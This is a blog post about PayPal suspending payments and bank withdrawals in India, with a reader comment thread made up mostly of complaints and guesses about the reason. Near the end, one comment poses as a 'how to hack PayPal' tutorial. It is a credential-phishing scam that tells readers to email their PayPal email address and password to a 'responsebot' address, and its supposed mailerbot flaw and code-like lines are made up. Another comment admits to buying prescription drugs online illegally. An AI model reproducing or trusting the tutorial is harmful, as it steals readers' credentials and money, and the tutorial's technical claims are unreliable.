PayPal Suspends Payments In India?
from the that-seems-rather-big dept
After the story a few weeks ago about Paypal suspending the account of Wikileaks, and blocking it from removing money in the account, many people pointed out how risky it is to leave any money in a PayPal account. It seems that situation is getting worse and worse. PayPal has apparently halted personal payments in India, and aren’t allowing merchants to remove money from their accounts. And the reasoning is… not particularly clear as to why:
“Personal payments to and from India and transfers to local banks in India have been suspended while we work with our business partners and other stakeholders to address questions they have about the service….”
Apparently, this has been going on for over a week, which has to be seriously frustrating to many merchants, but a seriously good thing for various PayPal competitors.
Comments on “PayPal Suspends Payments In India?”
It is not at all clear how this can be a “good thing for PayPal’s competitors” if it turns out that this issue applies to them with equal facility. It would be helpful to learn more details about why PayPal felt compelled to take the course it has. For all we know it is possible that the apparent problem is indigenous to India and may require action on the part of the Government of India to ameliorate same so that PayPal can once more proceed with business as usual.
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For all we know it is possible that the apparent problem is indigenous to India and may require action on the part of the Government of India to ameliorate same so that PayPal can once more proceed with business as usual.
For all we know it is possible that the apparent problem is due to aliens from outer space and may require action on the part of the aliens to ameliorate same so that PayPal can once more proceed with business as usual.
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The problem is indeed due to us,we are working on it as you speak.
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Word just came down from Zorgnat.There are too many human hands in “the cookie jar”.We can’t fix human greed.We have just retracted our extremity.
…”a seriously good thing for various PayPal competitors.”
Other than GoogleCheckOut or actually setting up an [expensive/contractual] merchant account, what competitors does PayPal actually have?
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is Google Checkout available outside the US?
Well there is Moneybookers that’s globally available, that might work as a competitor to Paypal. But that one isn’t without scandal/problems either.
Paypal needs to be regulated the same as banks.
I had similar problems with accounts for our nonprofit http://www.InventorEd.org and our trade association http://www.PIAUSA.org.
My response was to remove the links to PayPal as a donation option and to switch to alternatives.
Not only did PayPal freeze accounts making demands for much more private information, they made it very difficult to get any other information.
I have kept one PayPal account open but only use it as a last resort and most of the time I purchase from alternative suppliers rather than use PayPal.
Ronald J. Riley,
I am speaking only on my own behalf.
Affiliations:
President – http://www.PIAUSA.org – RJR at PIAUSA.org
Executive Director – http://www.InventorEd.org – RJR at InvEd.org
Senior Fellow – http://www.PatentPolicy.org
President – Alliance for American Innovation
Caretaker of Intellectual Property Creators on behalf of deceased founder Paul Heckel
Washington, DC
Direct (810) 597-0194 / (202) 318-1595 – 9 am to 8 pm EST.
I believe they did something similar to this to the Natural solutions foundation 🙁 .
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and I believe the organization lost thousands of dollars as a result even.
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They also did this to the guys running Abiword— in 2002.
eBay is an evil company. They probably figured out a way to capitalize off the situation and are profiting like mad. Since most sellers on eBay and who use paypal are small stay-at-home types, they don’t have much say when there is an issue like this…or other issues eBay likes to have on a regular basis, such as double dipping for billing on eBay and doubling up fees on Paypal. A few dollars or cents here, multiplied by 10 million ads up pretty quick.
I would not be shocked to find out that the banks in India are getting pressure from the government regarding payments made that are untraceable and thus not taxable. India is a country that loves it’s paperwork and official stamps.
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I live in India, and that sounds extremely likely to me. (no sarcasm)
I’m not 100% certain but this may have something to do with illegal mail-order RX medications which is a massive industry in India. If that’s the case PayPal may be under pressure from the DEA or other Govt. agencies to “do something” about the issue.
Having said that, PayPal is indeed a total pain in the ass to deal with when it comes to getting ones funds in a timely manner. If you put in a request for funds to be transferred to your bank account they’ll claim 3-4 days “depending on your bank” which is bullshit. PayPal holds on to the cash for a minimum of 36 hours AFTER you request your money. If you want your account to be “verified” they make two tiny deposits into your account which show up IMMEDIATELY so you can verify the amounts.
Hopefully at some future date enough people will complain and the Govt. will finally look into their practices.
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I’ll take the “mail order medicines = huge industry” with a pinch of salt. From what I know, it’s much easier to get medicines over the counter, prescribed or not.
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I was talking about buying meds like Benzodiazapines (Xanax, Valium, Ambien, etc), low grade painkillers containing Codeine, Tagamet etc and other “soft” RX meds that can be purchased online without a doctors prescription. Obviously it’s highly illegal hence the possibility of DEA involvement. I’ve used such services in the past and trust me, its huge.
I 'sweep' my PayPal account
Paypal is an illegal, unregulated bank. I use it because it’s the most popular (and easiest, for now) way to get fees for my CHL classes, but I’m careful to “double-sweep” my account daily. IOW, I ‘sweep’ the account into the backup, and then ‘sweep’ that account regularly into one that PayPal cannot access. I don’t want to be in the position to lose more than a few hundred Dollars.
If and when I *do* get cheated by PayPal, I will get a regular merchant account, despite the higher cost to me. So far, that has not happened — possibly because my account is too small to be worth stealing.
I’m seriously considering getting a regular merchant account anyway…
PayPal is one of the least trustworthy companies around. Do a Google search for “paypal sucks” and read some of the horror stories.
PayPal sux, but what is the alternative?
Didn’t PayPal lose a class action suit a few years back for freezing accounts for weeks or months with vague information as to why? Then suddenly the account would be unfrozen with little to know explanation as to what happened. If you dig under the covers, I think you will find they are playing the float with the funds.
I can't see how any merchant would want paypal anyway
Other than an occassional use, I cannot see how any merchant would want to use PayPal anyway. I have been screwed over twice now by PayPal on items I have sold on EBay. In both cases I had proof of delivery to confirmed addresses and the buyer claimed not to receive their products.
In both cases PayPay instantly took the funds out of my account, then took 30 days to tell me they were refunding the money to the buyers because my FexEx or UPS proof of delivery wasn’t enough. The first was $125, the second and final was $1300.
NEVER again will I use PayPal or eBay. I cannot see how any merchant would even consider using a company that has no intention of standing up for them.
Caretaker of Intellectual Property Creators on behalf of deceased founder Paul Heckel
MAN am i glad they stiffed you greedy wankers
….maybe this is really what they are doing is shutitng down anyhtng thats a SCAM
Paypal should of been regulated a bank. You basically have a company that knowingly has been allowing the transfer of money without verifying these accounts. That should of happened when the user first registered an account. just imagine how much drug money or even worse kind of money transferring has taken place
despite Paypal trying to get out of this fiasco, if the P2P are ceased the only other account type is Merchant, and if you can process but CAN’t WITHDRAW that money either then what that means is that Paypal is allowing for unverified processing of accounts and letting it sit in their bank while they make interest off of it. Its egregious, their own risk taking is now no doubt putting thousands of Indian users liquidity to the side. If they had prudent controls to begin with this wouldn’t of happened. And the PCWorld article says an ANALYST said this might have to do with at preventing money laundering and some kind of regulation that took place in NOVEMBER. And so they’re just now getting to it? Or is it they’re doing it in groupings to minimize the amount of angry users at any one time. Reprehensible
Tax
I’m guessing it has something to do with withholding tax. Indian tax officials courts have recently become sticky on this issue. Basically payments to foreign companies should be taxed as they leave the country. I presume they are trying to get paypal to enforce this. I’ve heard it is nearly impossible for the foreign entity that is due the money to claim it back…
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That was my fist thought too, only I would have said overly aggressive rather than merely sticky.
PayPal ripoffs
In my job I do a lot of listing on eBay/PayPal (it’s the same company). Last year they froze everything just when business was getting really really good, then screwed around for 2 weeks, costing thousands of dollars. I don’t regard this job as stable, and advise anyone against doing business with this company. Where are antiracketeering laws? Anti-monopoly enforcement? Vice, fraud, scam prosecutions? Anybody?
They just did it to India, no explanation, just kept all the money. Why aren’t there any arrests?
Re: PayPal ripoffs
They just did it to India, no explanation, just kept all the money. Why aren’t there any arrests?
Because that just wouldn’t be reasonable. Just goes to show how laws can be selective enforced with “common sense”. [/sarcasm]
Checks ?
Maybe Paypal should allow users to withdraw using checks until they can fix the issues they have. Users can take the USD checks to Banks and explain there the source of those funds.
Re: Checks ?
Maybe Paypal should allow users to withdraw using checks until they can fix the issues they have.
What makes you think that PayPal has any intention whatsoever of fixing their issues?
Paypal
India Users can use Xoom for withdrawing money from PayPal to their Local Bank Account
http://qualitypoint.blogspot.com/2010/02/india-users-can-use-xoom-for-withrawing.html
Should we ever use PayPal again?
Recent issues with PayPal withdrawals to Indian Banks & more over payments just randomly being reversed back to the senders will have a deep impact on PayPal’s reputation. It raises so many questions like (THIS MIGHT CONTAIN SPOILERS):
A) Should we trust PayPal in future?
ANS: ABSOLUTELY NO
B) Are they really concerned about our Money?
ANS: ABSOLUTELY NO, After a long period of two weeks we receive an apology letter stating that “We are sorry we goofed up opps!”? and stuff like “Your money just got sacked since this is nothing serious to us we are just doing a drill of playing a game with your hard earned money”?
C) Is RBI responsible for this?
ANS: UNQUESTIONABLY MAYBE, So, Question is why this is happening in India and nowhere else? Question is why we are being kept behind curtains and dark? Question is why Moneybookers and other Payment systems are working but PayPal is not? you just want to exclude the RBI out of this since they are least concerned with us. Everyone failed here! RBI off course you cant expect them to give you a comforting truth so a comforting lie should suffice you! And PayPal Ow man no shit a multinational company failing to inform and notify of an issue of this magnitude. That was an AWESOME combination of purely frustrating, destroying & spreading chaos.
D) So what does PayPal tell us now?
ANS: “We are sorry, but your valuable to us so please give us another opportunity to goof up and play some more engaging games with your money” and “We just love to make more profits by giving you a pathetic exchange rate”
D) What now?
ANS: DTA (Don’t Trust Anyone) Get your sleeves up against them and find your own ways to get paid over any other medium that serves better, communicates better and keep them in plenty. If one fails other should work out.
Ive let all my clients know about this issue and advised them (in advance unlike PayPal) to switch over to some other Payment system which is reliable, responsible and does the main thing “ACTION” at PAR. The truth will probably be dead and berried RIP about what happened because the shame and disgust they bring upon themselves is apocalyptic now.
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we use alertpay… its regulated as a bank…
and they dont mess with you…
The truth about paypal and its vulnerability...
HOW TO HACK INTO PAYPAL ACCOUNT!!! (This is operational from August 2010)
1) The following complete hacking tutorial contains materials that maybe illegal in some countries. Reader discretion is advised. You may use this material at your own risk!.
2) The hacking method is based on a furtively discovered security flaw in the PayPal (www.PayPal.com) mailing address confirmation system. It will only work BEFORE PayPal discovers this security flaw and fixes it (still undiscovered as of August 2010). Take action FAST!
3) This method works for anybody with a PayPal account.
4) By strictly following instructions in the following tutorial, you’ll gain unlimited access to various PayPal accounts. Whatever you decide to do with these accounts is entirely UP TO YOU, and you may do so AT YOUR OWN RISK!.
5) When you use PayPal, NEVER log on to sites that do not start EXACTLY with http://www.PayPal.com even if it contains the term “PayPal” in it. PayPal is the latest victim of internet hackers and phishing sites so beware. Despite the company’s seemingly perfect security system, a serious security flaw in the ADDRESS CONFIRMATION PROCESS of PayPal member’s accounts has been discovered by some PayPal employees in Germany (one of them happens to be my relative).
6) I am publishing this for two reasons; first, I myself have been a victim of PayPal fraud. Long story short, my account was gained access to and as a result I lost €6,700. PayPal was not helpful and did not even attempt to investigate the problem. Second, as this method of hacking is based upon a flaw that will probably be corrected in the near future, I wish to tell as many people as I can so everybody can settle previous scores with PayPal while they have the chance, because if I had to guess, I am not the only one who experienced PayPal fraud.
HACKING PROCESS:
Every PayPal member is identified by his/her Email and the majority of the PayPal members use Hotmail/Yahoo/GMail. After completion of the mailing address confirmation process, usually by adding a CREDIT CARD, PayPal automatically sends the user’s address confirmation info to a mailerbot associated with the user’s Email, in this case we will use Hotmail and Yahoo mailerbots (this method will not work with Gmail mailerbot for an unknown reason).
The security flaw occurs RIGHT HERE! Both Hotmail and Yahoo mailerbots can be confused by a random user to allow it to send out specific information saved on its server to that user.
To get PayPal account information of numerous random PayPal users from Hotmail/Yahoo mailerbot, you have to do the following with precision:
• Log into your PayPal HOME e-mail address. There are two bots which will work for you depending on your choice:
• If you want an account with HOTMAIL email then send the following message to: responsebot043pp@hotmail.com
• If you want an account with YAHOO email then send the following message to: responsebot043pp@yahoo.com
• Other mailer bots are not active now. In the subject line write the following:
789bot4*5%8verif-0e24 (To confuse the hotmail mailerbot)
• In the email body, please write precisely 11 lines, which MUST EXACTLY read as follows:
In line 1: Subject-Type: ?text/plain=”+1″?
In line 2: charset=uk-english>langres
(To make the reply readable in your language)
In line 3: botbody*78#9 @confirmation0e43dom.hotmail.com
(To confuse the mailerbot)
In line 4: p38ylec00rm:s%%(a href=http://www.PayPal.com% cgi-binlog%)
(To make the mailerbot start retrieving information acquired from PayPal.)
In line 5: Your primary email at PayPal
(To retrieve information from PayPal, the mailerbot now needs an Email which is the primary Email of a PayPal account, you have to use your own Email as a bait so you will be able to receive info of other accounts)
In line 6: start (retrieve>072alt)
(To activate the mailerbot’s retrieval function at a high speed)
In line 7: verify#8% (*value= = floatline = = domain043pp)
(This will trick the bot to send info to your email address instead of the administrators)
In line 8: Your PayPal password
(Now you have to enter your PayPal password to confuse the bot so it thinks you are the administrator of that PayPal account)
In line 9: #searchregconfim=log72hrmdomain
(to get info from PayPal members who had their addresses confirmed in the last three days)
In line 10: send#%*idR20334-tsa-0583
(This will make the mailerbot send all the info to your email)
In line 11 (#%7*tmbot*=”+043pp”domaine)
(this last step executes the order)
If you follow the instructions above, you will have enough information to gain access to PayPal accounts. Note that for this method to work, your account must be verified (ie linked to either a bank account or a credit card). You must also take into account that all information retrieved will be of accounts that were confirmed by PayPal in the 72 hours prior to you sending the e-mail. So these accounts will be relatively new. My advice for you is to be patient, continue to monitor the accounts you have gain access to, until there are enough funds available, then you take whatever action you like, AT YOUR OWN RISK of course!
Is it still an issue?
“Personal payments to and from India and transfers to local banks in India have been suspended”
I saw this thread was open on Feb’10, just want to confirm is it still a problem or paypal addressed them?